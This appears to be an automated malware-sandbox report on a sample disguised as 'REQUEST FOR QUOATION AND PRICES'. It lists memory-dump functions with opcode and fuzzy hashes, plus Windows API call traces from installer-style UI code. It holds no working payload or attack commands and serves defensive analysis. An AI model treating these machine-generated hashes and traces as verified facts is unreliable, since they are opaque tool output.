Opcode ID: 27191135e8ed11de581ab491c3bf9bf39f40f7aec0f68ea3dd96f9ff5af1dcc3
Instruction ID: 01ef9f15f580d0cb5408ca7028d518c951695bfbc66bd8096c085e5d1bdcfb8a
Opcode Fuzzy Hash: 27191135e8ed11de581ab491c3bf9bf39f40f7aec0f68ea3dd96f9ff5af1dcc3
Instruction Fuzzy Hash: 99C1AF74E01218CFEB24DFA5C994B9DBBB2BF89300F2081A9D409AB355DB359E85DF50

Function 36DDC1D0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558107577.0000000036DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36dd0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c394a8b7e8403dc7bb4493457b712700d72f5bc2af04fe91e3daae4f25bb085
Instruction ID: 949013451980bbd6f8cfed67de91440e52af2a4fbf46a846ece48c0f62bbabeb
Opcode Fuzzy Hash: 2c394a8b7e8403dc7bb4493457b712700d72f5bc2af04fe91e3daae4f25bb085
Instruction Fuzzy Hash: 18C19F74E00218CFEB24DFA5C994B9DBBB2BF89300F6081A9D409AB355DB359E85DF50

Function 36DD97C8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558107577.0000000036DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36dd0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c851cf699f4be7ec1e070e8b8de2d028c2528a569fe3a74d3ea8783620d2716
Instruction ID: 00af530f6e5bd987cf45ec5ecbf8b3c1fd7b197f88c94a4560adab8ec7444f1d
Opcode Fuzzy Hash: 8c851cf699f4be7ec1e070e8b8de2d028c2528a569fe3a74d3ea8783620d2716
Instruction Fuzzy Hash: 19C1A074E00218CFDB14DFA5C994B9DBBB2BF89300F2081A9D409AB355DB359E85DF50

Function 36DDF3F8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558107577.0000000036DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36dd0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0c3846cbec1ee318491e6e7deff2489054939a316627b514a9f25f3c211f4de
Instruction ID: 3a0d27bad8eb38a8b5b769e7f9b1963044068cb8c85cb67e113c70b6744fae67
Opcode Fuzzy Hash: a0c3846cbec1ee318491e6e7deff2489054939a316627b514a9f25f3c211f4de
Instruction Fuzzy Hash: 6BC1A074E00218CFEB24DFA5C994B9DBBB2BF89300F6081A9D409AB355DB359E85DF50

Function 36DDEFA0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558107577.0000000036DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36dd0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af859a757498ac8e912165719241ab01080cbbb740eb9a76b24ee3bc17e38412
Instruction ID: fd19eaca10a5a50944f67668f398fb527aba2c4f0391cffd7563544237d651f4
Opcode Fuzzy Hash: af859a757498ac8e912165719241ab01080cbbb740eb9a76b24ee3bc17e38412
Instruction Fuzzy Hash: 85C1AF74E00218CFEB24DFA5C994B9DBBB2BF89300F2081A9D409AB355DB359E85DF50

Function 36DDEB48 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558107577.0000000036DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36dd0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dfe598b0d0a43702819cd9c4842034c8ce974bfb3125a7063d125fb0226cc3dd
Instruction ID: dfb8755375826570a9149bf6a1e3fed1b15412e2a4b63d0b40755cce7b2a4297
Opcode Fuzzy Hash: dfe598b0d0a43702819cd9c4842034c8ce974bfb3125a7063d125fb0226cc3dd
Instruction Fuzzy Hash: A7C1AF74E00218CFEB24DFA5D980B9DBBB2BF89300F2081A9D409AB355DB359E85DF50

Function 36DDBD78 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558107577.0000000036DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36dd0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 194f7382d99494a29e43e04d06da1913007cb4ff35a537c13180e0b93512d83e
Instruction ID: fa0194b31921c455f0e17882f296e5a1be5b06073b723ceb1a54855e0df60d70
Opcode Fuzzy Hash: 194f7382d99494a29e43e04d06da1913007cb4ff35a537c13180e0b93512d83e
Instruction Fuzzy Hash: CEC1A174E00218CFDB24DFA5C994B9DBBB2BF89304F2081A9D409AB355DB359E85DF50

Function 36DD9370 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558107577.0000000036DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36dd0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d44afdccd5f165fe489c58e89e9d080018a54ff33cfc39b3c69e562765d0b7cb
Instruction ID: 354b8823928ef2305a3dfc74fd0d7e5b390d6a7b28c9bdbafc07f348c42457b4
Opcode Fuzzy Hash: d44afdccd5f165fe489c58e89e9d080018a54ff33cfc39b3c69e562765d0b7cb
Instruction Fuzzy Hash: DDC1A074E00218CFEB24DFA5C994B9DBBB2BF89304F2081A9D409AB355DB359E85DF50

Function 36DDD330 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558107577.0000000036DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36dd0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4e7ec8bea73d590f05db3a33bea8a008b9b95d9b011d8bacbca13c75a40c868
Instruction ID: c197a3852622c5b7369b2db108cd91fc644e67c72da34f916d2a20591cf962a9
Opcode Fuzzy Hash: a4e7ec8bea73d590f05db3a33bea8a008b9b95d9b011d8bacbca13c75a40c868
Instruction Fuzzy Hash: 01C1B0B4E00218CFEB14DFA5C990B9DBBB2BF89304F6081A9D409AB355DB359E85DF50

Function 36DF46F8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee45f7cbefe559c881340472019bd5ef6a5f81dfad5aed1b2ca6c8d3bfb2a5d4
Instruction ID: 19aaf1759d34457a8978886ea23d749efccd8b2418c1430c76fbc8bbf8cee413
Opcode Fuzzy Hash: ee45f7cbefe559c881340472019bd5ef6a5f81dfad5aed1b2ca6c8d3bfb2a5d4
Instruction Fuzzy Hash: 91C1A074E00218CFEB24DFA5C994B9DBBB2BF89304F2081A9D409AB355DB359E85DF50

Function 36DF1EA8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 975f852ee9adcba9ba6a28d05e9bb6c8c83fff8d0bee5a78ce0b899e05e5aed1
Instruction ID: 19b3b38890252558de4947ddee0596e7ede8a84319aa48385b3f107419d50a72
Opcode Fuzzy Hash: 975f852ee9adcba9ba6a28d05e9bb6c8c83fff8d0bee5a78ce0b899e05e5aed1
Instruction Fuzzy Hash: 60C1BF74E11218CFEB24DFA5C994B9DBBB2BF89300F2081A9D409AB355DB359E81DF50

Function 36DF3E48 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f81c8770f687351835da9fea8f7c4bd20d0dec1e582decbeef4c424b76d67a1
Instruction ID: 70b4c2960717b81e65ee21bdf1612297303a9d2e4b07dbed7137bda8237fe7f7
Opcode Fuzzy Hash: 8f81c8770f687351835da9fea8f7c4bd20d0dec1e582decbeef4c424b76d67a1
Instruction Fuzzy Hash: 1FC1AF74E00218CFEB24DFA5D994B9DBBB2BF89300F2081A9D409AB355DB359E85DF50

Function 36DF4FA8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8c98d13795aaa652665ce2181480e4fcfbb4bfe7b2a3838d85292b0ef239eab
Instruction ID: 64415f53d8d8b5f128e6bc073c2beaebbad5b0390092945f1206eca3cf1c5ce3
Opcode Fuzzy Hash: a8c98d13795aaa652665ce2181480e4fcfbb4bfe7b2a3838d85292b0ef239eab
Instruction Fuzzy Hash: 7CC1B174E00218CFEB24DFA5C984B9DBBB2BF89304F2081A9D409AB355DB359E85DF50

Function 36DF2CE8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd04efc2bc2504f18437a2578f8177336500cbe5e5fc1ca7e31d2dd0ecf87e7a
Instruction ID: 21b5853b97c9a005954f9ad652f98d0b3dd4c14cea88c14ef855a1785d9fac90
Opcode Fuzzy Hash: dd04efc2bc2504f18437a2578f8177336500cbe5e5fc1ca7e31d2dd0ecf87e7a
Instruction Fuzzy Hash: 19C1B074E10218CFEB24DFA5C994B9DBBB2BF89300F2081A9D409AB355DB359E85DF50

Function 36DF0498 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 571c3196815ed1c81ef3d9e8ce8b2d754b8095a0273efbb8568fff465d9c2b70
Instruction ID: ddc8831449e4b4d45c62f949cc385283c6e9eb777ce732b72d6531727b2c8e63
Opcode Fuzzy Hash: 571c3196815ed1c81ef3d9e8ce8b2d754b8095a0273efbb8568fff465d9c2b70
Instruction Fuzzy Hash: 11C1A074E00218CFEB24DFA5D990B9DBBB2BF89300F2081A9D409AB355DB359E81DF50

Function 36DF15F8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 649395033484e42da1a480b09da725298b6a44eb9a7fe26bfb99f507c5de5a13
Instruction ID: 85935b896441d46c83c99410e0dcc7e5dedc5b8a9b1c493cf16a4059836be420
Opcode Fuzzy Hash: 649395033484e42da1a480b09da725298b6a44eb9a7fe26bfb99f507c5de5a13
Instruction Fuzzy Hash: CBC1AF74E00218CFEB24DFA5C994B9DBBB2BF89300F6081A9D409AB355DB359E85DF50

Function 36DF3598 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3da6c5cb9afb5199e2503a02049bccb384a87e2f6eb51f591405dd9b7ec741d
Instruction ID: 9fe2a7485bf52d7087630d2986e39cc509b9be290cea43a68baca1949d68cf3d
Opcode Fuzzy Hash: b3da6c5cb9afb5199e2503a02049bccb384a87e2f6eb51f591405dd9b7ec741d
Instruction Fuzzy Hash: 48C1B0B4E00218CFEB14DFA5C880B9DBBB2BF89300F2181A9D409AB355DB359E85DF50

Function 36DF0D48 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7dc02c75b14f03a47dc01cb1675a40a1611d423e37a94b2c6a4b7fa93b565ac
Instruction ID: 509e154c27ea80acc5b43910bf756f3058c25a5e271c118b363959457003b2e2
Opcode Fuzzy Hash: c7dc02c75b14f03a47dc01cb1675a40a1611d423e37a94b2c6a4b7fa93b565ac
Instruction Fuzzy Hash: 1EC1A074E00218CFEB24DFA5D994B9DBBB2BF89300F2081A9D409AB355DB359E85DF50

Function 36DF42A0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7305c1c99baf9431fde302ead2c8687950d8c43e178f45860fd9fa0cba2f082c
Instruction ID: 06c03b0de394b52f25ed0ee5d56a80e8d556dfccaaf3e52125595b20d9561a6e
Opcode Fuzzy Hash: 7305c1c99baf9431fde302ead2c8687950d8c43e178f45860fd9fa0cba2f082c
Instruction Fuzzy Hash: 70C1A074E00218CFEB24DFA5C994B9DBBB2BF89300F2081A9D409AB355DB359E85DF50

Function 36DF1A50 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5766800d1c69f265411e30b5182fbd0beffbfe25ed6393a3fc0d573963753fbb
Instruction ID: 4a5d717faccbe05fc0206c4db49fc73596b94bc18d06c5269093d516dbcf8714
Opcode Fuzzy Hash: 5766800d1c69f265411e30b5182fbd0beffbfe25ed6393a3fc0d573963753fbb
Instruction Fuzzy Hash: 90C1B174E00218CFEB24DFA5C994B9DBBB2BF89300F6081A9D409AB355DB359E85DF50

Function 36DF4B50 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2322245bfdcf72587353f41c29154fc1b9158d5c43b2e295b0ca197555ab52d5
Instruction ID: 3da3aaee2153499c9894eaa9edf89a201bc6806abaa8f792ee05a9d2bcf0776b
Opcode Fuzzy Hash: 2322245bfdcf72587353f41c29154fc1b9158d5c43b2e295b0ca197555ab52d5
Instruction Fuzzy Hash: 8BC1A074E01218CFEB24DFA5C994B9DBBB2BF89300F2081A9D409AB355DB359E85DF50

Function 36DF2300 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9eb0c0609b15e8890662d3887f2334c04716a80ff658c8c35beaf6efb415cc02
Instruction ID: 8e79a3fca5d3dcf7033b7f35cf4538f5de2d96338f2a2f43f16a829f027279be
Opcode Fuzzy Hash: 9eb0c0609b15e8890662d3887f2334c04716a80ff658c8c35beaf6efb415cc02
Instruction Fuzzy Hash: 7EC1B274E00218CFDB24DFA5C994B9DBBB2BF89300F2081A9D809AB355DB359E85DF50

Function 36DF08F0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1513d38260a68d1f0a9cf7e1a9c831ea3f2eaa45d7588aa266858052873bfde7
Instruction ID: 745bee7af915bdfe752c712b62c4988ce79b1f7c0e6867a9fd77c578309b543c
Opcode Fuzzy Hash: 1513d38260a68d1f0a9cf7e1a9c831ea3f2eaa45d7588aa266858052873bfde7
Instruction Fuzzy Hash: F5C1B174E00218CFEB14DFA5D990B9DBBB2BF89300F6081A9D409AB355DB359E85DF50

Function 36DF2890 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0da3c1ade7b9455be936929b760282390739a3acbe1326e26c4179b99ef6b8e6
Instruction ID: ea9e9c65719b3c4c0bc75813bac8dc33661685acab149760dcbd1c7e802d5388
Opcode Fuzzy Hash: 0da3c1ade7b9455be936929b760282390739a3acbe1326e26c4179b99ef6b8e6
Instruction Fuzzy Hash: DEC1A074E00218CFEB24DFA5C994B9DBBB2BF89300F6081A9D409AB355DB359E85DF50

Function 36DF0040 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: adb528fd54c6f96a8eddbced5db5bcc108391ea60edd35da13c7fd672b392647
Instruction ID: 6e0255e30aaeac0733e89d8fccaf488e2ff93c3aadb070b31c496b3ed392d46c
Opcode Fuzzy Hash: adb528fd54c6f96a8eddbced5db5bcc108391ea60edd35da13c7fd672b392647
Instruction Fuzzy Hash: 30C1B074E00218CFEB24DFA5D990B9DBBB2BF89300F6081A9D409AB355DB359E85DF50

Function 36DF39F0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00ea30f89310aaef2fb05ba63dd8a3bf23a8e2c18d1d00581d7b4af79eda7e40
Instruction ID: f850c507915a7e5f5941195409b1c5f792505b5de6dbc0de5689a26c7484354f
Opcode Fuzzy Hash: 00ea30f89310aaef2fb05ba63dd8a3bf23a8e2c18d1d00581d7b4af79eda7e40
Instruction Fuzzy Hash: 1EC1AE74E00218CFEB24DFA5C994B9DBBB2BF89300F2181A9D409AB355DB359E85DF50

Function 36DF11A0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c79ff29ceb965ebdb72fbe568e9b076ee1736fe3d967fd267b37598149ae12d
Instruction ID: 5dd55dfaf28688180dfb9af29dd1468e6669859e89df1e8cc27b59c169fae60c
Opcode Fuzzy Hash: 1c79ff29ceb965ebdb72fbe568e9b076ee1736fe3d967fd267b37598149ae12d
Instruction Fuzzy Hash: DAC1AF74E00218CFEB24DFA5C994B9DBBB2BF89300F6081A9D409AB355DB359E85DF50

Function 36DF3140 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5150b234da6758efa4e4cc9d625ec362f740c332133fe74ecd90e790152f6579
Instruction ID: a20f8f2c70f3d2aa8832f9229737cf015d19097ce7810cd15f5d2bb11d5e7129
Opcode Fuzzy Hash: 5150b234da6758efa4e4cc9d625ec362f740c332133fe74ecd90e790152f6579
Instruction Fuzzy Hash: EAC1A074E00218CFEB24DFA5C994B9DBBB2BF89300F2181A9D409AB355DB359E85DF50

Function 36DFA6C7 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 204221892a26b8833bb00f622815942d989d04b9fc3afab5361f6cec199b467b
Instruction ID: e2f7762dd2fe59498fb77535775bca0f1280f0d6d806eea8486e42c5ece92760
Opcode Fuzzy Hash: 204221892a26b8833bb00f622815942d989d04b9fc3afab5361f6cec199b467b
Instruction Fuzzy Hash: 50D09E75D5421CDBDB21DF94D8503ECF770FF99300F0160A5D48CA7210DBB15E958A56

Function 004052D3 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00405332
GetDlgItem.USER32(?,000003EE), ref: 00405341
GetClientRect.USER32(?,?), ref: 0040537E
GetSystemMetrics.USER32(00000015), ref: 00405386
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004053A7
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004053B8
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004053CB
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004053D9
SendMessageW.USER32(?,00001024,00000000,?), ref: 004053EC
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040540E
ShowWindow.USER32(?,00000008), ref: 00405422
GetDlgItem.USER32(?,000003EC), ref: 00405443
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405453
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 0040546C
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405478
GetDlgItem.USER32(?,000003F8), ref: 00405350

Part of subcall function 00404164: SendMessageW.USER32(00000028,?,00000001,00403F90), ref: 00404172

GetDlgItem.USER32(?,000003EC), ref: 00405495
CreateThread.KERNEL32(00000000,00000000,Function_00005267,00000000), ref: 004054A3
CloseHandle.KERNEL32(00000000), ref: 004054AA
ShowWindow.USER32(00000000), ref: 004054CE
ShowWindow.USER32(?,00000008), ref: 004054D3
ShowWindow.USER32(00000008), ref: 0040551D
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405551
CreatePopupMenu.USER32 ref: 00405562
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405576
GetWindowRect.USER32(?,?), ref: 00405596
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004055AF
SendMessageW.USER32(?,00001073,00000000,?), ref: 004055E7
OpenClipboard.USER32(00000000), ref: 004055F7
EmptyClipboard.USER32 ref: 004055FD
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405609
GlobalLock.KERNEL32(00000000), ref: 00405613
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405627
GlobalUnlock.KERNEL32(00000000), ref: 00405647
SetClipboardData.USER32(0000000D,00000000), ref: 00405652
CloseClipboard.USER32 ref: 00405658

Strings

{, xrefs: 0040553B

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 40d8ee56fed0ff9bd7faebda229d010c99ca55f69e8b7427a9ca7d215ef8d0f7
Instruction ID: 9fa9afbe460ba73b362fbd7a7e80f39848d7c2b38d0fa32ac3ffaaa5a75fb061
Opcode Fuzzy Hash: 40d8ee56fed0ff9bd7faebda229d010c99ca55f69e8b7427a9ca7d215ef8d0f7
Instruction Fuzzy Hash: 4AB16B70900209BFDF219F60DD89AAE7B79FB04315F50803AFA05BA1A0C7759E52DF69

Function 00403C57 Relevance: 48.3, APIs: 32, Instructions: 345windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403C93
ShowWindow.USER32(?), ref: 00403CB0
DestroyWindow.USER32 ref: 00403CC4
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403CE0
GetDlgItem.USER32(?,?), ref: 00403D01
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403D15
IsWindowEnabled.USER32(00000000), ref: 00403D1C
GetDlgItem.USER32(?,00000001), ref: 00403DCA
GetDlgItem.USER32(?,00000002), ref: 00403DD4
SetClassLongW.USER32(?,000000F2,?), ref: 00403DEE
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403E3F
GetDlgItem.USER32(?,00000003), ref: 00403EE5
ShowWindow.USER32(00000000,?), ref: 00403F06
EnableWindow.USER32(?,?), ref: 00403F18
EnableWindow.USER32(?,?), ref: 00403F33
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403F49
EnableMenuItem.USER32(00000000), ref: 00403F50
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00403F68
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00403F7B
lstrlenW.KERNEL32(004226D0,?,004226D0,004281E0), ref: 00403FA4
SetWindowTextW.USER32(?,004226D0), ref: 00403FB8
ShowWindow.USER32(?,0000000A), ref: 004040EC

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
